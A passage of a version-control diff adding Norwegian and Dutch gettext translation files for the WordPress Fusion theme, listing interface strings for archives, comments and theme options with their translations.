+msgstr "Husk at logoen ser best ut hvis bakgrunnen i logoen er gjennomsiktig"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Disable homepage tab"
+msgstr "Deaktiver toppmeny pÃ¥ forsiden"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Check this if you are using a static page as the homepage"
+msgstr "Huk av denne hvis du bruker en statisk forside"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Show the categories as header tabs"
+msgstr "Vis kategorier som toppmeny"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "(instead of pages)"
+msgstr "(I stedet for sider)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default category block in the sidebar"
+msgstr "Deaktiver standard kategori-widget i sidebaren"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "Huk av hvis du foretrekker den oprinnelige kategori-widgeten eller vil skjule den"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable the default search block in the sidebar"
+msgstr "Deaktiver standard sÃžkeblokk i sidebaren"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Check if you don't like the theme-default search look"
+msgstr "Huk av hvis du ikke liker den standard sÃžkeblokken."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Disable layout controls (Aa/<>)"
+msgstr "Deaktiver utseende-kontroll (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:129
+msgid "Default page content width:"
+msgstr "Standard sidebredde:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Fixed (960 pixels)"
+msgstr "Statisk (960 piksler)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "Dynamisk (95% av skjermbredden)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:137
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "Husk at hvis utseende-kontrollen er aktivert, sÃ¥ vil fremdeles besÃžkendes cookie sÃžrge overskride valget."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:141
+msgid "Sidebar position:"
+msgstr "Sidebar-plassering:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:144
+msgid "Right (default)"
+msgstr "HÃžyre (standard)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:148
+msgid "Left"
+msgstr "Venstre"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "Disable jQuery and the associated code"
+msgstr "Deaktiver jQuery og relatert javascriptkode."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Dette vil sÃžrge for at siden tar rundt 70KB mindre plass, og gjÃžres raskere Ã¥ laste. Men dette deaktiverer og effekter som utseende-kontroll, RSS-lenker i kategoriwidgeten, kommentarfaner og tilbakelenker.<br/> Anbefales Ã¥ deaktivere kun hvis du har problemer med bÃ¥ndbredde"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Custom CSS code"
+msgstr "Egendefinert CSS-kode"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+#, php-format
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check %s to see existing styles, which you can redefine here."
+msgstr "Her kan du legge til og endre utseende hvis du har noe CSS-kunnskap. Sjekk ut %s for Ã¥ se eksisterende stiler som du kan omgjÃžre her."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "Ikke endre style.css hvis du Ãžnsker Ã¥ beholde CSS-instillingene etter en eventuel oppdatering!"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:160
+msgid "Save Changes"
+msgstr "Lagre endringer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+#, php-format
+msgid "%s by %s at %s"
+msgstr "%s av %s den %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "H:i"
+msgstr "H:i:s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:224
+msgid "Your comment is awaiting moderation."
+msgstr "Din kommentar er til moderasjon"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:234
+msgid "Reply"
+msgstr "Svar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:234
+msgid "Quote"
+msgstr "SitÃ©r"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:152
+msgid "You are Home"
+msgstr "Du er pÃ¥ forsiden"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:152
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:154
+msgid "Home"
+msgstr "Forsiden"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:154
+msgid "Click for Home"
+msgstr "Klikk for forsiden"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#, php-format
+msgid "This entry was posted on %s and is filed under %s. You can follow any responses to this entry through %s."
+msgstr "Denne artikkelen var skrevet den %s og er lagt under kategorien %s. Du kan fÃžlge med pÃ¥ kommentarene til denne artikkelen med hjelp av %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Du kan <a href=\" #respond\">legge igjen en kommentar</a>, eller <a href=\"%s\" rel=\"tilbakelenke\">lenke tilbake</a> fra din egen side"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Kommentarer er for tiden stengt, men du kan <a href=\"%s\" rel=\"trackback\">lenke tilbake</a> fra din egen side."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "Du kan legge igjen en kommentar under her. Pinging er for tiden ikke tilatt."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "BÃ¥de kommentarer og pinging er for tiden stengt."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "Endre denne artikkelen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Beklager, ingen vedlegg passer til dine sÃžkekriterier."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:54
+msgid "Not Found"
+msgstr "Ikke Funnet"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:55
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Beklager, men du leter etter noe som ikke er det."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:10
+msgid "Links:"
+msgstr "Lenker:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:20
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:21
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Les resten av denne siden &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:8
+msgid "Search Results"
+msgstr "SÃžkeresultater"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:40
+msgid "No posts found. Try a different search?"
+msgstr "Ingen artikler funnet. PrÃžv igjen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "SÃžk"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:20
+#, php-format
+msgid "You are currently browsing the archives for the %s category."
+msgstr "Du blar for tiden igjennom arkivet for kategorien %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:26
+#, php-format
+msgid "You are currently browsing the archives for %s"
+msgstr "Du blar for tiden igjennom arkivet for %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:29
+#, php-format
+msgid "You are currently browsing the archives for the year %s"
+msgstr "Du blar for tiden igjennom arkivet for Ã¥ret %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:32
+#, php-format
+msgid "You have searched the archives for %s."
+msgstr "Du blar for tiden igjennom arkivet for %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:35
+msgid "You are currently browsing the archives."
+msgstr "Du blar for tiden igjennom arkivene."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:62
+msgid "Archives"
+msgstr "Arkiver"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:73
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:59
+msgid "Sorry, no posts matched your criteria."
+msgstr "Beklager, ingen artikler passer til dine sÃžkekriterier."
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/nl_NL.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/nl_NL.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/nl_NL.po	(revision 44)
@@ -0,0 +1,569 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.6\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-04-08 21:04+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: digitalnature <hello@digitalnature.ro>\n"
+"Language-Team: Jesse Klaasse <jesseklaasse@hotmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Dutch\n"
+"X-Poedit-Country: NETHERLANDS\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:6
+msgid "Page not found (404)"
+msgstr "Pagina niet gevonden (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+#, php-format
+msgid "Archive for category %s"
+msgstr "Archief voor categorie %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+#, php-format
+msgid "Posts Tagged %s"
+msgstr "Berichten met label %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+#, php-format
+msgid "Archive for %s"
+msgstr "Archief voor %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr "j F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "Auteurarchief"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "Berichtenarchief"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:15
+msgid "Permanent Link:"
+msgstr "Permalink:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s on %s"
+msgstr "Geplaatst door %s in %s op %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:33
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "Berichten van %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:17
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:26
+msgid "Read the rest of this entry &raquo;"
+msgstr "Lees verder &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "No Comments"
+msgstr "Nog geen reacties"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "1 Comment"
+msgstr "1 reactie"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "% Comments"
+msgstr "% reacties"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:63
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:48
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Oudere berichten"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:64
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:50
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:14
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:35
+msgid "Newer Entries &raquo;"
+msgstr "Nieuwere berichten &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:70
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Sorry, er zijn nog geen berichten in de categorie %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Sorry, er zijn geen berichten van deze datum."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:75
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Sorry, er zijn geen berichten van %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+msgid "No posts found."
+msgstr "Geen berichten gevonden."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "Archieven per maand:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "Archieven per onderwerp:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:16
+msgid "This user hasn't shared any biographical information"
+msgstr "Deze gebruiker heeft geen biografische informatie gedeeld"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:21
+msgid "Homepage:"
+msgstr "Homepage:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:22
+msgid "Yahoo Messenger:"
+msgstr "Yahoo Messenger:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:23
+msgid "Jabber/GTalk:"
+msgstr "Jabber/GTalk:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:24
+msgid "AIM:"
+msgstr "AIM:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:41
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "l, F jS, Y"
+msgstr "l j F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Tags: "
+msgstr "Labels:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+#, php-format
+msgid "Posted in %s"
+msgstr "Geplaatst in %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Edit"
+msgstr "Bewerken"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:55
+msgid "No posts found by this author."
+msgstr "Geen berichten van deze auteur gevonden."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "Voer uw wachtwoord in om reacties te bekijken"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "Reacties"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "Trackbacks"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "Nog geen reacties."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "U dient <a href=\"%s\">ingelogd</a> te zijn om te reageren."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "Annuleren"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Logged in as %s."
+msgstr "Ingelogd als %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:77
+msgid "Log out of this account"
+msgstr "Uitloggen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:77
+msgid "Logout &raquo;"
+msgstr "Uitloggen &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Welkom terug <strong>%s</strong>"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+msgid "Change &raquo;"
+msgstr "Wijzigen &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+msgid "Close &raquo;"
+msgstr "Sluiten &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:86
+msgid "Name"
+msgstr "Naam"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:86
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "(required)"
+msgstr "(verplicht)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "E-Mail"
+msgstr "E-mail"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "(will not be published)"
+msgstr "(wordt niet gepubliceerd)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:94
+msgid "Website"
+msgstr "Website"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:112
+msgid "Submit Comment"
+msgstr "Reactie plaatsen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:129
+msgid "No trackbacks yet."
+msgstr "Nog geen trackbacks."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:142
+msgid "Comments are closed."
+msgstr "Reacties zijn gesloten."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:21
+#, php-format
+msgid "Fusion theme by %s"
+msgstr "Fusion thema door %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:23
+#, php-format
+msgid "powered by %s"
+msgstr "powered by %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "Entries (RSS)"
+msgstr "Berichten (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "and"
+msgstr "en"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "Comments (RSS)"
+msgstr "Reacties (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:33
+msgid "Increase/Decrease text size"
+msgstr "Lettergrootte vergoten/verkleinen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:34
+msgid "Switch between full and fixed width"
+msgstr "Schakelen tussen volledige en vaste breedte"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:85
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:93
+msgid "Fusion Theme Options"
+msgstr "Fusion thema-opties"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:96
+msgid "Meta keywords:"
+msgstr "Meta keywords:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Separate with commas"
+msgstr "kommagescheiden"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Use custom logo image"
+msgstr "Eigen logo-afbeelding gebruiken"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Upload uw logo als \"logo.png\" in de map van het thema:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "You should export the logo image with transparency enabled"
+msgstr "Transparantie moet ingeschakeld zijn voor de logo-afbeelding "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Disable homepage tab"
+msgstr "Homepage tab uitschakelen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Check this if you are using a static page as the homepage"
+msgstr "Vink dit aan als u een statische pagina als homepage gebruikt"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Show the categories as header tabs"
+msgstr "Categorie&euml;n als tabs tonen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "(instead of pages)"
+msgstr "(in plaats van pagina's)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default category block in the sidebar"
+msgstr "Standaard categorie&euml;n-blok in sidebar uitschakelen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "Vink dit aan als u voorkeur geeft aan de widget voor categorie&euml;n, of als u de categorie&euml;n niet wilt tonen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable the default search block in the sidebar"
+msgstr "Standaard zoekblok in sidebar uitschakelen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Check if you don't like the theme-default search look"
+msgstr "Vink dit aan als u de standaard zoeklayout van dit thema niet mooi vindt"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Disable layout controls (Aa/<>)"
+msgstr "Opmaakknoppen uitschakelen (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:129
+msgid "Default page content width:"
+msgstr "Standaardbreedte pagina-inhoud:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Fixed (960 pixels)"
+msgstr "Vast (960 pixels)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "Variabel (95% van de schermbreedte)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:137
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "NB: Als de opmaakknoppen ingeschakeld zijn heeft de instelling van de bezoeker prioriteit"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:141
+msgid "Sidebar position:"
+msgstr "Positie van de sidebar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:144
+msgid "Right (default)"
+msgstr "Rechts (standaard)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:148
+msgid "Left"
+msgstr "Links"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "Disable jQuery and the associated code"
+msgstr "jQuery en aanverwante code uitschakelen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Dit zal het paginaverkeer met ~70 KB doen afnemen, maar schakelt tevens sommige opties en effecten uit (opmaakknoppen, RSS links binnen het categoriemenu, reactie-tabs, trackbacks).<br />U zou dit niet hoeven veranderen tenzij u beperkt bent in bandbreedte"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Custom CSS code"
+msgstr "Eigen CSS code"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+#, php-format
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check %s to see existing styles, which you can redefine here."
+msgstr "Hier kunt u alles met betrekking tot de opmaak toevoegen of wijzigen, als u basiskennis heeft van CSS. Gebruik %s ter referentie."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "Verander niet zelf style.css als u wilt dat uw wijzigingen behouden blijven na een update van dit thema! Gebruik deze optie in plaats daarvan."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:160
+msgid "Save Changes"
+msgstr "Wijzigingen opslaan"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+#, php-format
+msgid "%s by %s at %s"
+msgstr "%s door %s om %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "H:i"
+msgstr "H:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:224
+msgid "Your comment is awaiting moderation."
+msgstr "Uw reactie is in afwachting van moderatie."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:234
+msgid "Reply"
+msgstr "Antwoorden"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:234
+msgid "Quote"
+msgstr "Citeren"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:152
+msgid "You are Home"
+msgstr "U bent op 'Home'"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:152
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:154
+msgid "Home"
+msgstr "Home"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:154
+msgid "Click for Home"
+msgstr "Ga naar 'Home'"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#, php-format
+msgid "This entry was posted on %s and is filed under %s. You can follow any responses to this entry through %s."
+msgstr "Dit bericht werd geplaatst op %s, en is gearchiveerd onder %s. U kunt zich abonneren op de reacties op dit bericht met %s. "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "U kunt <a href=\"#respond\">een reactie plaatsen</a> of een <a href-\"%s\" rel=\"trackback\">trackback</a> toepassen."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Reageren is momenteel niet mogelijk, maar u kunt wel een <a href=\"%s\" rel=\"trackback\">trackback</a> toepassen."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "U kunt onderaan een reactie plaatsen. Pingen is momenteel niet toegestaan."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "Reageren en pingen is momenteel niet mogelijk."
+
